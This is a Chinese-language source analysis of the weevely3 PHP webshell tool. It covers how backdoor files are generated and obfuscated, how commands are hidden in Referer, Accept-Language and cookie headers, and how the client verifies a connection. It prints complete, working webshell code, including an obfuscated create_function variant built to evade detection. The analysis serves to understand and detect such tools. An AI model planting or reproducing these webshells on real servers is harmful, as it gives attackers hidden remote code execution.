1 weevely验证机制分析
1.1 源码分析
当生成的php文件是以stegaref_php.tpl文件为模板时,当我们在连接时的命令行中输入任意命运就可以触发php.py文件中的_check_interpreter()函数,_check_interpreter()函数主要功能是随机生成一个命令,”echo”一个从11111到99999大小的随机整数,然后分别调用channels文件夹下的channel.py文件中的”send()”函数,然后在send()函数中把payload分别发送给legacycookie.py,legacyreferrer.py和stegaref.py三个Python文件中的”send()”函数同时返回Response,code,error的值, response, code, error = channel.send(command)
,通过对返回的Response和构造的echo的随机数是否相等来进行判断PHP shell能否直接运行,同时判断连接是否成功。
1.2 PHP(stegaref_php.tpl模板)后门文件分析
首先,当我们使用命令:weevely generate hello /var/www/html/testformd.php
来生成木马文件时,会调用generate()函数来生成木马。
- generate()函数在weevely3-master/core/generate.py文件中,函数原型为:
def generate(password, obfuscator = 'obfusc1_php', agent = 'stegaref_php'):
其中,password为用户指定的密码, obfuscator是使用的webshell模糊变换模板,agent为webshell的模板,后两个参数均可自己定义,用户可以自己编写自定义的模板放入weevely3-master/bd/obfuscator/和weevely3-master/bd/agent/目录下,然后命令中指定自定义的模板。 -
agent = Template(open(agent_path,'r').read()).render(password=password)
render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来,生成的源码为:
$kh="5d41";
$kf="402a";
function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c&&$i<$l);$j++,$i++)
{
$o.=$t{$i}^$k{$j};
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m){
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]];
if(strpos($p,$h)===0){
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)){
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e){
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}
-
minified_agent = utils.code.minify_php(agent)
对原始的webshell进行”净化”操作,去除里面”\n\t”等特殊字符。处理完的源码为:
$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}
-
obfuscated = obfuscator_template.render(agent=agent)
这是最核心的代码,使用obfuscator模板对webshell进行”模糊处理”,去除容易被检测的特征。模糊处理完的文件源码为:
<?php
$s='d5($R$i.$$Rkh),0,3));$R$f=$sl$R($ss(m$Rd5$R($i.$kf),0,3$R));$p$R$R="";for($R$z=1;$R$z<count($R$m[1]);$z$R++)$p.=$R$q[$m[$R';
$H='$Rses$Rsion_st$Rart();$s=&$_SES$RSION;$ss="$Rsub$Rs$Rtr";$sl="str$Rtolower$R";$i$R=$m[1$R][0]$R.$m[1][1];$R$h=$R$sl($ss($Rm';
$u='g_replac$Re(arr$Ray$R("/_/","/$R-/"),arr$Ray$R("/","+"$R),$$Rss($s[$i],0$R,$e)$R))$R,$k)));$$Ro=ob_$Rget_$Rcontents($R);ob_';
$V='$kh="$R5d41";$R$kf="402$Ra$R$R";function x($t,$$Rk){$c=st$Rr$Rlen($k);$l=st$Rrlen$R($t)$R;$o="";for$R($$Ri=0;$i<$$Rl;){$Rfor';
$E=';$R$q=a$Rrray_valu$Res($q);$Rpr$Reg_match$R_all("/($R[\\w])[$R\\w-]+(?:;$Rq=0$R.([\\d$R]))?$R,?/",$ra$R,$m);if($$Rq$R&&$m)$R{@';
$c='($j=$R0;($j<$R$c&&$R$$Ri<$R$l);$j++$R,$$Ri++){$o.=$t{$i$R}^$k{$j}$R;}}return$R $R$o$R;}$r=$_SERVER;$$Rrr=@$r[$R"HT$RTP_REFER';
$F='R$$Re=$Rstr$Rpos($s[$i],$f);if($R$e){$k=$k$Rh$R.$kf;ob_$Rsta$Rrt()$R;@ev$Ral(@gzuncom$Rpress(@x($R@bas$Re64_$Rdecode(pr$Re';
$P='$RER"];$$Rra=@$r["H$RTTP_AC$RCE$RPT_LA$RNGUAGE$R"];if($r$Rr&&$ra){$R$u=pars$Re$R_ur$Rl($rr);par$Rs$Re_str($$Ru["query"]$R,$q)';
$R='end_c$Rlean$R();$d=$Rbase$R64_en$Rcode(x(gzc$Rompress$R$R($o)$R,$k));pri$Rnt($R"<$R$$Rk>$R$d</$k>");@sessi$Ron_destroy();}}}}';
$f='2][$R$z$R]];if(s$Rtrpos($p$R,$R$h)===0){$s[$i$R]="";$$Rp=$R$ss($p,3)$R;}if(arr$R$Ray_$Rkey_exists($i,$R$s$R)){$s[$i$R].=$p;$';
$U=str_replace('iV','','creiViVaiViVte_funciVtiiVon');
$X=str_replace('$R','',$V.$c.$P.$E.$H.$s.$f.$F.$u.$R);
$O=$U('',$X);$O();
?>
- 通过对最具有格式且没有经过模糊处理的php文件进行源码走读,可以看出,文件中存在”
kh=5d41"和" kf=402a”这两个参数,这两个参数就是我们生成文件时的定义的密码经过md5加密后的前8位,分在两个参数中存储。$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
从server中去取http协议请求头中的REFERER数据和ACCEPT_LANGUAGE数据,然后通过正则表达式preg_match_all("/([\\w])[\\w-]+(?:;q=0.([\\d]))?,?/",$ra,$m);
去匹配ACCEPT_LANGUAGE中的数组偏移量。$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));
来求出真正有用的payload的header和footer。
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
这个函数是用来解密payload,得到真正攻击的载荷命令。$d=base64_encode(x(gzcompress($o),$k));
把执行结果通过相同的方式进行加密,放在自己密码加密后的标签中print("<$k>$d</$k>");
1.3 PHP(legacycookie_php.tpl模板)后门文件分析
weevely3中默认生成的文件是以stegaref_php.tpl为模板和以obfusc1_php.tpl为混淆模板来进行后门文件生成。可以在weevely.py文件中对这两个参数进行修改换成以legacycookie_php.tpl为模板和cleartext1_php.tpl为混淆模板生成配合php文件。
直接对源代码进行跟踪调试
1. agent = Template(open(agent_path,'r').read()).render(password=password)
render agent模板文件,得到原始的webshell。webshell源码通过pycharm debug出来初始php代码为:
u'$c="count";
$a=$_COOKIE;
if(reset($a)=="he" && $c($a)>3){
$k="llo";
echo "<$k>";
eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"), array("","+"), join(array_slice($a,$c($a)-3)))));
echo "</$k>";
}
'
2. “minified_agent = utils.code.minify_php(agent)”对原始的webshell进行”净化”操作,去除里面”\n\t”等特殊字符。处理完的源码代码为:
'$c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"</$k>";}'
3. “obfuscated = obfuscator_template.render(agent=agent)”这是最核心的代码,使用obfuscator模板对webshell进行”模糊处理”,去除容易被检测的特征。生成的源码为
u'<?php
$c="count";$a=$_COOKIE;if(reset($a)=="he"&&$c($a)>3){$k="llo";echo"<$k>";eval(base64_decode(preg_replace(array("/[^\\w=\\s]/","/\\s/"),array("","+"),join(array_slice($a,$c($a)-3)))));echo"</$k>";}
?>'
4.通过对php源代码的走读可以看出legacycookie_php.tpl模板执行结果放在<$k></$k>
标签中,标签中执行结果通过正则表达式匹配,然后进行base64解码获得。
1.4 验证连接是否成功
- 通过
_check_interpreter()
函数构造随机打印字符的payload,调用channel.py文件中的send()函数中代码response = self.channel_loaded.send(
向三种payload加密方式中分别发送payload。依次执行查看响应的Response_body的值是否与构造payload想打印的值相等来进行判断连接是否成功。
payload,
self._additional_handlers()
) - 第一次payload发送到stegaref.py的send()函数中,payload经过用户输入的连接密码进行加密,构造request请求头发送http协议,执行php后门文件,通过php文件中生成文件的密码进行解密执行payload,得到相应Response。
response = opener.open(url).read()
得到响应体的值。判断:
1. 响应体为空,说明连接密码生成的payload和真实密码解密的payload不一致,验证失败。
2. 响应体不为空,验证成功。 - 若第一次验证失败,进行第二次验证,payload会发送到legacycookie.py的send()函数中,第二种payload的加密方式主要为base64编码加密然后在加密后的payload中加入特殊字符进行混淆。所以第二种加密方式不需要php文件中的密码进行解密,payload在php文件中进行base64解压缩执行,执行结果在Response_body中用密码第三位至末尾字符串标签进行包装。通过相同代码
response = opener.open(url).read()
获得响应体。判断:
1. 如果响应体为空,说明php文件没有执行,所以可能为连接url错误。
2. 响应体不为空,通过正则表达式
self.extractor = re.compile("<%s>(.*)</%s>" % (self.password[2:],self.password[2:]),re.DOTALL)
和代码data = self.extractor.findall(response)
进行匹配密码第三位至末尾和响应体中的标签是否一致,如果一致的话则连接密码正确验证成功,如果不一致说明连接密码错误验证不成功。
4. 前两次均失败则调用第三种payload加密方式,向legacyreferrer.py文件中的send()函数发送payload,第三种payload加密方式为构造referer头
referer = "http://www.google.com/url?sa=%s&source=web&ct=7&url=%s&rct=j&q=%s&ei=%s&usg=%s&sig2=%s" % (self.password[:2],urllib2.quote(self.url),self.query.strip(),payload[:third],payload[ third:thirds],payload[thirds:])
但是payload的加密方式依然为base64编码加密,所以密码正确与否的验证机制和第二种相同。